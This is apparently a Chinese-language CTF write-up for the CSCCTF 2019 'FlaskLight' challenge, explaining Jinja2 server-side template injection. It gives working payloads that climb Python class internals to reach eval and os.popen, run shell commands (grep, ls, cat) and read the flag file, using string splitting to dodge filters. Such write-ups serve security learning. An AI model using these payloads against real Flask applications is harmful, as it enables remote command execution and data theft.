[CSCCTF 2019 Qual]FlaskLight

[CSCCTF 2019 Qual]FlaskLight

打开网页,在源代码的注释里发现提示用GET传递search参数,又发现这是一个Flask网页,所以可能用到SSTI注入,现在需要搞清楚这个网页是什么模板。按照图示步骤:
请添加图片描述

确定哪个模板注入的一般流程:

  • 在疑似注入点的地方输入${7*7},如果有结果为49
  • 继续输入a{*comment*}b,成功则是smarty引擎,以此类推

有些时候不同的模板引擎对同一输入{{7*'7'}}都有结果

但是在Twig中结果是49,在jinja2中是7777777

References

服务端模板注入攻击

SSTI-服务器端模板注入(Server-Side Template Injection)

[BJDCTF2020]Cookie is so stable

search的值改为{{7*'7'}}发现网页显示是7777777,所以确定是jinja2模板。

通过对python的对象继承一步步来实现文件读取和命令执行,思路大抵为:

  1. 寻找父类type:'object'
  2. 寻找子类
  3. 寻找关于命令执行或者文件操作的模块:

__class__ 返回类所属的对象
__mro__ 输出当前对象所调用的全部类包括其父类
__base____mro__ 用来寻找基类
__subclasses__ 输出该类下所有的子类(返回列表)
__init__ 类的初始化方法
__globals__ 对包含函数全局变量的字典的引用

References

[Flask(Jinja2)服务端模板注入漏洞(SSTI)]学习简记

  • __mro____base__的区别在于,__mro__返回的是一个对象所属的类继承的全部类,可以有很多个。__base__返回的是其继承的基类,只有一个。
  • __subclasses__该模块是查询到的结果是一个类的全部子类,我们需要在这些子类中寻找可以利用的子类。这个模块返回的数据往往有很多,可以通过将这些数据存入到List,通过list.index()来输出所需要的的模块所在的位置。(我用的py脚本会附在下面)可以利用的子类:warnings.catch_warnings(一般在59)、socket._socketobject(一般在71)、site._Printer等模块。
  • warnings.catch_warinings是没有内置OS模块的需要导入OS模块
  • __builtins__是python的内置模块,内含有python内置的函数。可以通过此模块来调用内置函数如:evalexecopen。也正是可以利用这些方法进行命令执行、文件读取
  • os模块提供了多数操作系统的功能接口函数。当os模块被导入后,它会自适应于不同的操作系统平台,根据不同的平台进行相应的操作。os模块中可以利用的函数:system(command)运行shell命令、listdir(dirname)列出dirname下的目录和文件、popen从一个命令打开一个管道进行文件读取等
  • 区分python2python3可以查找__builtins__中是否有file,具体图示参考下方链接👇。
    • 有file → python2
    • 没有file → python3

References

Flask-SSTI注意事项以及一些POC

寻找执行命令可以借助的类:

  • 获取变量[]所属的类名

给search赋值{{[].__class__}},页面回显:<type 'list'>

  • 获取list所继承的基类名

给search赋值{{[].__class__.__base__}},页面回显:<type 'object'>

  • 获取所有继承自object的类

给search赋值{{[].__class__.__base__.__subclasses__()}},页面回显的是一个列表,这里面包含了所有继承自object的类。

方法一 选择<class 'warnings.catch_warnings'>执行命令

查看<class 'warnings.catch_warnings'>是否内置os模块,给search赋值:

{{[].__class__.__base__.__subclasses__()[59].__init__['__glo'+'bals__']}}

在页面回显中搜索:OS,发现'OSError': <type 'exceptions.OSError'>,说明<class 'warnings.catch_warnings'>没有加载OS模块。所以在执行命令的时候需要自己加载OS模块。

搜索目录下带有flag字符串的文件名:

{{[].__class__.__base__.__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('**find / -name *flag***').read()")}}

输出结果没什么用,所以我们转而搜索根目录下带有flag内容的文件:

{{[].__class__.__base__.__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('grep -R flag /').read()")}}

等待时间可能比较长,最后得到flag。

也可以自己慢慢寻找flag文件,输出目录:

{{[].__class__.__base__.__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('ls').read()")}}

慢慢找到flag文件就是/flasklight/coomme_geeeett_youur_flek,因此输入:

{{[].__class__.__base__.__subclasses__()[59].__init__['__glo'+'bals__'].__builtins__['eval']("__import__('os').popen('cat /flasklight/coomme_geeeett_youur_flek').read()")}}

方法二 选择site._Printer执行命令

查看<class 'site._Printer'>是否内置os模块,给search赋值:

{{[].__class__.__base__.__subclasses__()[71].__init__['__glo'+'bals__']}}

在页面回显中搜索:OS,发现'os': <module 'os' from '/usr/lib/python2.7/os.pyc'>,说明<class 'site._Printer'>加载了OS模块。所以在执行命令的时候不需要自己加载OS模块。

直接输入url:

{{[].__class__.__base__.__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen('cat /flasklight/coomme_geeeett_youur_flek').read()}}

得到flag。

References

[CSCCTF 2019 Qual]FlaskLight

方法三 利用file

{{''.__class__.__mro__[2].__subclasses__()[40]('/flasklight/coomme_geeeett_youur_flek').read() }}

也一样得到flag。

References

官方WP:

cscctf-problem/2019/qual/web/flasklight at master · sturmisch/cscctf-problem

  • 3
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值